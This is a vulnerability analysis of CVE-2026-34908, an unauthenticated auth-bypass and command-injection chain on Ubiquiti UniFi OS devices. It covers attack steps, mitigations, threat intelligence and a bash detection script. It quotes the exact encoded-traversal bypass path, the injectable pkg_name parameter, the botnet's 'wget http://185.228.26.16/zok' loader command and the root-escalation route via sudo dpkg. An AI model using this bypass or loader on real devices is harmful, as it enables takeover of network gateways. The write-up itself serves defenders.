CVE-2026-34908 · Ubiquiti UniFi OS NGINX Authentication Gateway Bypass via URI…

01 · The Real Story

Someone left the master key under the doormat — and the door is your firewall

CVE-2026-34908 is an Improper Access Control flaw in Ubiquiti UniFi OS devices caused by a divergence between two URI representations in the NGINX authentication gateway: the raw percent-encoded x-original-uri used for public-prefix exemption checks and the normalized $uri used for upstream routing. A single crafted HTTP request with an encoded path-traversal sequence (e.g., /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package) passes the raw prefix check as 'public' while NGINX routes the normalized form to an authenticated internal endpoint — completely bypassing authentication. This chains with CVE-2026-34909 (path traversal) and CVE-2026-34910 (command injection in the pkg_name parameter of the package-update service) to achieve unauthenticated remote code execution as root on every UniFi OS device family: Cloud Gateways, Dream Machines, NVRs, Access Hubs, Cloud Keys, and the UniFi OS Server software itself. All versions at or below UniFi OS Server 5.0.6 (unifi-core 5.0.126) are affected; hardware appliances have device-specific vulnerable ranges, all patched in SAB-064.

The vendor's CVSS 10.0 is not inflated — it is accurate to the point of understatement. This is a zero-click, unauthenticated, network-reachable, root-level RCE on devices that *are* your network perimeter. There is no authentication requirement, no user interaction, no complex race condition, and the scope is changed because compromising the gateway gives the attacker dominion over every host behind it. CISA added this to KEV on June 23, 2026 with an extraordinary 3-day remediation deadline (BOD 26-04). Active exploitation by a Mirai/Gafgyt botnet campaign (azsxd v2.0) was confirmed within hours of disclosure on May 21, 2026. Censys tracks ~100,000 internet-facing UniFi OS endpoints globally. Bishop Fox published a full technical writeup and safe detection tool. The vendor severity of CRITICAL is, if anything, generous in its restraint.

"Unauthenticated single-request root RCE on your network gateway, actively botnetted in the wild."

02 · The Attack Path

5 steps from start to impact.

STEP 01

Reach UniFi OS management interface

The attacker identifies a UniFi OS device on the network, typically exposed on TCP port 11443 (HTTPS management UI) or port 443. Censys data shows approximately 100,000 internet-facing instances globally. Many more are reachable from internal networks, guest VLANs, or adjacent segments — these devices are network infrastructure and are network-reachable by definition.

Conditions required:

Network path to UniFi OS management port (11443 or 443)
Target running UniFi OS Server ≤ 5.0.6, or equivalent vulnerable firmware on hardware appliances

Where this breaks in practice:

Devices behind a separate management VLAN with strict ACLs would limit reachability
Upstream WAF or reverse proxy might normalize the URI before it reaches NGINX, breaking the bypass

Detection/coverage: Shodan dork http.title:"UniFi OS" or Censys query for UniFi OS devices. GreyNoise tags mass scanning for this endpoint.

STEP 02

Bypass NGINX authentication gateway

The attacker sends a single HTTPS GET request whose raw URI begins with the public-exempt prefix /api/auth/validate-sso/ followed by encoded traversal sequences (..%2f). NGINX's auth_request directive checks the raw URI against the public prefix list and exempts the request from authentication. Simultaneously, NGINX normalizes the URI for upstream routing, collapsing the traversal sequences and routing the request to an internal authenticated endpoint like /proxy/users/api/v2/ucs/update/latest_package. No credentials, tokens, cookies, or user interaction are required.

Conditions required:

Ability to send crafted HTTP requests to the target

Where this breaks in practice:

Almost none — the request is a standard HTTPS GET with path encoding that any HTTP client can produce

Detection/coverage: IDS/WAF signatures matching /api/auth/validate-sso/ combined with ..%2f or %2e%2e traversal sequences. Snort/Suricata community rules were published within days of disclosure.

STEP 03

Inject commands via package-update endpoint

The now-unauthenticated request reaches the ucs-update service's latest_package handler. The pkg_name parameter is interpolated verbatim into a fmt.Sprintf command string executed through sh -c (sudo /usr/bin/uos runnable latest-versions %v). Shell metacharacters in the parameter value (e.g., backtick command substitution) execute arbitrary commands as the ucs-update service account. The Mirai campaign uses this to run wget http://185.228.26.16/zok to download the initial loader.

Conditions required:

Successful authentication bypass from Step 2

Where this breaks in practice:

Negligible — the injection is straightforward shell metacharacter substitution with no input validation or character filtering

Detection/coverage: Monitor for unexpected child processes under the ucs-update service account. Syslog entries showing wget, curl, or tftp invocations from the update service. File integrity monitoring on /tmp and /var/tmp.

STEP 04

Escalate to root via passwordless sudo

The ucs-update service account has passwordless sudo access to /usr/bin/dpkg, /bin/chmod, /bin/systemctl, and /usr/bin/uos. The attacker uses sudo dpkg -i to install a crafted .deb package whose post-install script runs as root, or uses sudo chmod to modify file permissions for persistence. The Mirai campaign variant azsxd v2.0 achieves full root execution and deletes its binary while maintaining a memory-resident process (cron.azsxd).

Conditions required:

Command execution as ucs-update service account from Step 3

Where this breaks in practice:

None — the sudoers configuration is a design flaw present in all affected versions

Detection/coverage: Audit sudo invocations by the ucs-update account. Look for anomalous dpkg -i, chmod, or systemctl calls. Check for deleted-but-running binaries via /proc/*/exe pointing to (deleted).

STEP 05

Establish persistence and pivot

With root access on a network gateway device, the attacker can exfiltrate the JWT signing key (jwt.yaml) to forge permanent admin sessions, modify firewall rules to permit C2 traffic, intercept all routed traffic, pivot to internal networks, and — on UniFi Protect/Access deployments — compromise physical security by accessing cameras and unlocking doors. Cloud access tokens enable multi-site propagation. The forged JWT sessions survive patching until the signing key is rotated.

Conditions required:

Root shell on UniFi OS device from Step 4

Where this breaks in practice:

Post-exploitation forensics may detect the compromise, but the attacker has root on the infrastructure device itself

Detection/coverage: Review jwt.yaml last-modified timestamps. Check for unauthorized admin sessions in UniFi controller logs. Monitor for unexpected outbound connections from gateway devices. Validate SSH authorized_keys files.

03 · Compensating Control

CRITICAL 10.0→HIGH 7.5

SEVERITY REDUCED

Isolate UniFi management interfaces on a dedicated management VLAN with strict ACLs — Restrict access to TCP 11443 and 443 on all UniFi OS devices to authorized management stations only. Use firewall rules or VLAN ACLs to deny all other inbound connections to these ports. This eliminates the unauthenticated network-reachable attack vector for non-management traffic. Given CRITICAL severity, deploy within 3 days per noisgate mitigation SLA. This is the single most impactful compensating control if patching requires a maintenance window.

CRITICAL 10.0→HIGH 7.0

SEVERITY REDUCED

Block encoded path traversal sequences at the upstream WAF or reverse proxy — If UniFi OS management is fronted by a WAF or reverse proxy, configure rules to reject requests containing ..%2f, %2e%2e, ..%2e, or other encoded traversal sequences in the URI. This breaks the NGINX normalization discrepancy exploit. Deploy within 3 days. Note: this only works if management traffic traverses the WAF — direct connections bypass it.

CRITICAL 10.0→MEDIUM 5.5

SEVERITY REDUCED

Disable remote management and cloud access on UniFi OS devices — If your deployment allows it, disable remote management via the UniFi cloud portal and restrict management to local-only access from a hardened jump host. This eliminates internet-facing attack surface entirely. Deploy within 3 days. Operational trade-off: you lose remote management capability until patching is complete.

CRITICAL 10.0→LOW 2.0

SEVERITY REDUCED

Rotate JWT signing keys and review admin sessions post-patch — After applying the patch (UniFi OS Server 5.0.8+), rotate the JWT signing key in jwt.yaml and invalidate all existing admin sessions. Forged JWT tokens created from an exfiltrated signing key persist across patching and grant permanent Owner-level access. Without key rotation, a compromised device remains backdoored even after patching. Complete within 7 days of patching.

CRITICAL 10.0→LOW 1.0

SEVERITY REDUCED

Conduct compromise assessment on all UniFi OS devices — Before or immediately after patching, audit all UniFi OS devices for indicators of compromise: check SSH authorized_keys for unauthorized entries, review running processes for deleted binaries (/proc/*/exe → (deleted)), look for the cron.azsxd process name, verify jwt.yaml integrity, and review firewall rule changes. Complete within 3 days of patching.

What doesn't work

Network-level rate limiting — the exploit requires only a single HTTP request; rate limiting has no meaningful effect on a one-shot exploit.
Web application firewall in learning mode — a WAF that hasn't been tuned for path traversal encoding variants will pass the crafted request. Generic WAF rules often normalize URIs before inspection, which paradoxically resolves the traversal and forwards a valid-looking request.
Ubiquiti cloud account MFA — MFA protects the cloud management portal login, not the local device API. This exploit bypasses the local NGINX authentication gateway entirely; cloud-layer MFA is irrelevant.
Updating UniFi Network Application only — the vulnerability is in UniFi OS (the underlying operating system), not the UniFi Network Application that runs on top of it. Updating the application without updating the OS firmware leaves the device vulnerable.

04 · Intelligence Metadata

The supporting signals.

In-the-wild exploitation	Confirmed and active. Mirai/Gafgyt-derived botnet campaign (`azsxd v2.0`) observed exploiting the full chain since May 21, 2026 — the same day as Ubiquiti's advisory. PwnDefend honeypots captured automated mass-scanning and exploitation attempts using out-of-band DNS exfiltration for execution verification. Staging server at `185.228.26.16`, exploitation source `176.65.148.183` (Pfcloud UG).
CISA KEV status	Listed June 23, 2026. Remediation due June 26, 2026 (3-day window under BOD 26-04). Covers CVE-2026-34908, CVE-2026-34909, and CVE-2026-34910 together.
Proof-of-concept availability	Public and weaponized. Bishop Fox published a full technical analysis at bishopfox.com and a safe detection tool at github.com/BishopFox/CVE-2026-34908-check (Python). The exploit chain is single-request and trivially reproducible. The `SecureWithUmer/CVE-2026-PoCs` and `XZ1r0/cve-2026-poc-collection` GitHub repos aggregate additional PoC references.
EPSS	0.15207 (user-provided; score trending upward post-KEV). Top 1% of all scored CVEs. Active exploitation and weaponized PoC availability drive this.
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — perfect 10.0. Every metric is at maximum. Network attack vector, low complexity, no privileges, no user interaction, scope changed, full CIA impact.
Affected versions	UniFi OS Server ≤ 5.0.6 (unifi-core ≤ 5.0.126). Hardware: all UniFi OS families including UDM, UDM-Pro, UDM-SE, UDM-Pro-Max, UDM-Beast, UCG-Ultra, UCG-Max, UCG-Fiber, UCG-Industrial, UDR, UDR-5G, UDR7, UDW, UCK, UCKP, UCK-Enterprise, UNVR, UNVR-Pro, UNVR-G2, UNVR-G2-Pro, UNVR-Instant, UNAS-2/4/Pro/Pro-4/Pro-8, Express 7, EFG, ENVR, ENVR-Core.
Fixed versions	UniFi OS Server 5.0.8+ (unifi-core 5.0.153+). UDM/UCG/UDR/UDW/UCK families: 5.1.12+. UDM-Beast: 5.1.11+. UNAS family: 5.1.10+. UniFi Express: 4.0.14+.
Internet exposure	Censys tracks ~100,000 internet-facing UniFi OS endpoints globally (~50,000 in the US). A large fraction remained unpatched as of late June 2026. Default management on TCP 11443/443.
Disclosure timeline	2026-05-21: Ubiquiti publishes SAB-064 and patches. Same day: exploitation begins in the wild. 2026-06-09: PwnDefend documents Mirai botnet exploitation. 2026-06-23: CISA adds to KEV. Bishop Fox publishes full chain analysis and detection tool.
Reporting researcher	Not publicly credited in SAB-064 or the CVE record. Bishop Fox performed independent analysis and published the authoritative technical writeup and safe detection tooling.

Sources.

05 · The Call

Final Verdict

= UNCHANGED to CRITICAL (10.0/10)

Why this verdict

Zero friction in the exploit chain. The full attack path from network access to root shell is a single HTTP request with encoded path traversal — no authentication, no user interaction, no race condition, no memory corruption. The Mirai campaign proves this is automated and mass-exploitable.
Active mass exploitation confirmed. The azsxd v2.0 Mirai/Gafgyt botnet campaign began exploiting this chain on May 21, 2026 — the day of disclosure. PwnDefend honeypots confirm automated scanning. CISA added it to KEV with a 3-day remediation deadline. This is not theoretical risk.
~100,000 internet-facing targets, unauth-reachable. Censys data shows approximately 100,000 internet-exposed UniFi OS endpoints. These are not accidentally exposed — UniFi gateways and controllers are *designed* to be network-reachable. Internal-only deployments are also trivially reachable from any VLAN the device routes.
Role multiplier: Network edge appliance — canonically high-value, floor is CRITICAL. UniFi OS devices ARE the network perimeter in most deployments. The affected device families include network gateways (UDM, UCG series), which are the firewall/router for the entire site. Root access on the gateway means: traffic interception for every host behind it, firewall rule modification to permit C2 and lateral movement, credential harvesting from routed traffic, and pivot to all internal hosts. Blast radius: fleet-scale. ≥80% of UniFi OS installs serve as the primary network gateway or infrastructure controller — this component is *defined* by its high-value role.
Role multiplier: Physical security infrastructure. UniFi Protect NVRs and UniFi Access Hubs are affected. Root access on these devices enables camera feed access, recording deletion, and physical door unlock. Blast radius: safety/operational impact. For organizations using UniFi for physical security (a growing segment), this is a compound disaster.
Role multiplier: Multi-site propagation. Root access exposes cloud-access tokens enabling pivot to other UniFi sites managed by the same Ubiquiti account. Forged JWT sessions (via exfiltrated jwt.yaml signing key) persist across patching until the key is manually rotated. Blast radius: supply-chain-scale for MSPs managing multiple client sites.
No downward pressure exists. There are no prerequisites that narrow the reachable population or assume prior compromise. The attacker starts unauthenticated, from the network, with a single request. Every friction point in the chain is negligible or nonexistent.

Why not higher?

CVSS 10.0 is the ceiling of the scoring system. The vendor assigned the maximum possible score, and real-world conditions validate every aspect of it. Active exploitation, trivial weaponization, and the canonically high-value role of the affected devices leave no room for the score to go higher.

Why not lower?

Every downgrade criterion fails. The exploit requires no authentication (not post-auth). It requires no prior compromise (not post-initial-access). It requires no user interaction (not phishing-dependent). The affected component is a network edge appliance by definition, not an obscure optional service. ~100,000 instances are internet-facing, so 'requires internal network access' does not apply. Active botnet exploitation eliminates any argument about theoretical-only risk. The high-value-role floor for a network edge appliance with confirmed exploitation is CRITICAL — there is no valid basis for downgrade.

06 · Verification

Crowdsourced verification payload.

Run this script from any machine with curl and network access to the target UniFi OS device. No authentication is required. Usage: ./check_cve_2026_34908.sh <target_host> [port] — default port is 11443. No elevated privileges needed on the auditor workstation.

noisgate-verify.sh

BASHREAD-ONLYSAFE

#!/usr/bin/env bash
# check_cve_2026_34908.sh — Safe detection for CVE-2026-34908
# Tests the NGINX URI normalization auth bypass on UniFi OS devices.
# Does NOT inject commands — only probes whether the bypass reaches the handler.
# Exit codes: 1=VULNERABLE, 0=PATCHED/UNKNOWN

set -euo pipefail

TARGET="${1:-}"
PORT="${2:-11443}"

if [[ -z "$TARGET" ]]; then
  echo "Usage: $0 <target_host> [port]"
  echo "  Default port: 11443"
  exit 2
fi

BASE="https://${TARGET}:${PORT}"
BYPASS_PATH="/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package"
CONTROL_PATH="/proxy/users/api/v2/ucs/update/latest_package"

echo "[*] Testing CVE-2026-34908 on ${BASE}"
echo "[*] Sending bypass probe (should be blocked on patched systems)..."

# Bypass probe: uses the auth-exempt prefix + encoded traversal
BYPASS_HTTP=$(curl -sk -o /dev/null -w "%{http_code}" \
  --max-time 10 \
  --path-as-is \
  "${BASE}${BYPASS_PATH}" 2>/dev/null || echo "000")

echo "[*] Bypass probe HTTP status: ${BYPASS_HTTP}"

# Control probe: direct access without bypass (should always be 401/403)
CONTROL_HTTP=$(curl -sk -o /dev/null -w "%{http_code}" \
  --max-time 10 \
  "${BASE}${CONTROL_PATH}" 2>/dev/null || echo "000")

echo "[*] Control probe HTTP status: ${CONTROL_HTTP}"

if [[ "$BYPASS_HTTP" == "000" ]]; then
  echo "UNKNOWN — Could not connect to ${BASE}. Verify host and port."
  exit 0
fi

# Patched systems return 400 on the bypass (raw vs normalized mismatch rejection)
# Vulnerable systems return 200 (handler reached, returns validation error)
# Control should return 401 or 403 (requires auth)

if [[ "$BYPASS_HTTP" == "200" && ( "$CONTROL_HTTP" == "401" || "$CONTROL_HTTP" == "403" ) ]]; then
  echo "VULNERABLE — Auth bypass succeeded (bypass=200, control=${CONTROL_HTTP})."
  echo "  The NGINX gateway allowed unauthenticated access to the internal endpoint."
  echo "  Patch immediately to UniFi OS Server 5.0.8+ or applicable firmware."
  exit 1
elif [[ "$BYPASS_HTTP" == "400" ]]; then
  echo "PATCHED — Server rejected the bypass probe with HTTP 400."
  echo "  The normalized-service-name guard is active."
  exit 0
elif [[ "$BYPASS_HTTP" == "401" || "$BYPASS_HTTP" == "403" ]]; then
  echo "PATCHED — Bypass probe was denied authentication (${BYPASS_HTTP})."
  exit 0
else
  echo "UNKNOWN — Unexpected response (bypass=${BYPASS_HTTP}, control=${CONTROL_HTTP})."
  echo "  Manually verify UniFi OS version. Vulnerable: <=5.0.6. Patched: >=5.0.8."
  exit 0
fi